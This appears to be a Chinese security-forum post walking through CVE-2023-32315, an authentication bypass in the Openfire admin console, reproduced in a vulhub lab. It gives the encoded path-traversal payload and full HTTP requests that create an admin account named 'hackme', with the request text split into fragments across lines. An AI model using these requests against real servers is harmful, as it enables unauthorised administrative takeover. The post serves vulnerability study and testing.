-
-
[原创]CVE-2023-32315 Openfire管理后台认证绕过漏洞
-
发表于: 2023-9-19 09:13 1970
-
Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器。
在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。
十多年前,Openfire管理后台中曾被发现一处路径穿越漏洞,CVE-2008-6508。攻击者可以利用/setup/setup-/../../[page].jsp
来绕过权限校验并访问任意后台页面。从那以后,Openfire增加了对于路径穿越问题的防护策略,用以抵御这个漏洞。但是因为后来内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,而前面的防护策略并没有考虑到这一点。
Openfire版本4.7.4和4.6.7及以前
vulhub
开启靶场
访问IP:9090端口即可跳转到登录页面
![]
用此漏洞可当作确认绕过漏洞存在
Openfire 敏感信息泄露
影响版本
3.10.0 <= Openfire <= 3.10.3 4.0.0 <= Openfire <= 4.0.4 4.1.0 <= Openfire <= 4.1.6 4.2.0 <= Openfire <= 4.2.4 4.3.0 <= Openfire <= 4.3.2 4.4.0 <= Openfire <= 4.4.4 4.5.0 <= Openfire <= 4.5.6 4.6.0 <= Openfire <= 4.6.7 4.7.0 <= Openfire <= 4.7.4
漏洞复现
payload:
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
浏览器访问URL登录地址:
Burp抓包,进入重放器
(tips:GET包末尾要空两行进行发送)
虽然这个请求的响应包中包含异常,但实际上新用户已经被创建,账号密码均为hackme
直接使用创建的新用户登录后台
如果上述方式未能成功执行
可尝试使用第二种方式
获得JSESSIONID和csrftoken
得到
进行伪造
升级至最新版本
/
vulhub
-
master
/
openfire
/
CVE
-
2023
-
32315
/
vulhub
-
master
/
openfire
/
CVE
-
2023
-
32315
docker
-
compose up
-
d
docker
-
compose up
-
d
GET
/
setup
/
setup
-
s
/
%
u002e
%
u002e
/
%
u002e
%
u002e
/
log.jsp HTTP
/
1.1
Host: ip:port
Upgrade
-
Insecure
-
Requests:
1
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit
/
537.36
(KHTML, like Gecko) Chrome
/
113.0
.
5672.93
Safari
/
537.36
Accept: text
/
html,application
/
xhtml
+
xml,application
/
xml;q
=
0.9
,image
/
avif,image
/
webp,image
/
apng,
*
/
*
;q
=
0.8
,application
/
signed
-
exchange;v
=
b3;q
=
0.7
Accept
-
Encoding: gzip, deflate
Accept
-
Language: zh
-
CN,zh;q
=
0.9
Connection: close
GET
/
setup
/
setup
-
s
/
%
u002e
%
u002e
/
%
u002e
%
u002e
/
log.jsp HTTP
/
1.1
Host: ip:port
Upgrade
-
Insecure
-
Requests:
1
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit
/
537.36
(KHTML, like Gecko) Chrome
/
113.0
.
5672.93
Safari
/
537.36
Accept: text
/
html,application
/
xhtml
+
xml,application
/
xml;q
=
0.9
,image
/
avif,image
/
webp,image
/
apng,
*
/
*
;q
=
0.8
,application
/
signed
-
exchange;v
=
b3;q
=
0.7
Accept
-
Encoding: gzip, deflate
Accept
-
Language: zh
-
CN,zh;q
=
0.9
Connection: close
http:
/
/
192.168
.
200.166
:
9090
/
login.jsp?url
=
%
2Findex
.jsp
http:
/
/
192.168
.
200.166
:
9090
/
login.jsp?url
=
%
2Findex
.jsp
GET
/
setup
/
setup
-
s
/
%
u002e
%
u002e
/
%
u002e
%
u002e
/
user
-
create.jsp?csrf
=
csrftoken&username
=
hackme&name
=
&email
=
&password
=
hackme&passwordConfirm
=
hackme&isadmin
=
on&create
=
Create
+
User HTTP
/
1.1
Host:
192.168
.
200.166
:
9090
Accept
-
Encoding: gzip, deflate
Accept:
*
/
*
Accept
-
Language: en
-
US;q
=
0.9
,en;q
=
0.8
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit
/
537.36
(KHTML, like Gecko) Chrome
/
114.0
.
5735.91
Safari
/
537.36
Connection: close
Cache
-
Control:
max
-
age
=
0
Cookie: csrf
=
csrftoken
GET
/
setup
/
setup
-
s
/
%
u002e
%
u002e
/
%
u002e
%
u002e
/
user
-
create.jsp?csrf
=
csrftoken&username
=
hackme&name
=
&email
=
&password
=
hackme&passwordConfirm
=
hackme&isadmin
=
on&create
=
Create
+
User HTTP
/
1.1
Host:
192.168
.
200.166
:
9090
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课